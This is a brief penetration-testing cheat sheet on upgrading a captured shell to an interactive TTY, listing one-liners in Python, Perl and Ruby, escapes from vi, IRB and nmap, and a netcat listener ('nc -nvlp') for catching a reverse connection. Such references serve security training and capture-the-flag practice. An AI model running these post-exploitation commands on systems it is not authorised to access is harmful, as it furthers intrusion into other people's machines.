TTY-Shell

Here are some commands which will allow you to spawn a tty shell. Obviously some of this will depend on the system environment and installed packages.

match the target system

Shell Spawning

• python -c 'import pty; pty.spawn("/bin/bash")'
• python -c 'import pty; pty.spawn("/bin/sh")'
• python3 -c 'import pty; pty.spawn("/bin/bash")'
• python3 -c 'import pty; pty.spawn("/bin/sh")'
• echo os.system('/bin/bash')
• /bin/sh -i
• perl —e 'exec "/bin/sh";'
• perl: exec "/bin/sh";
• ruby: exec "/bin/sh"

(From within IRB)

• exec "/bin/sh"

(From within vi)

• :!bash
• :set shell=/bin/bash:shell

(From within nmap)

• !sh

Example

Listening using nc -nvlp <PORT> and we get back connect

• And we can search for python in the system using which python or which python3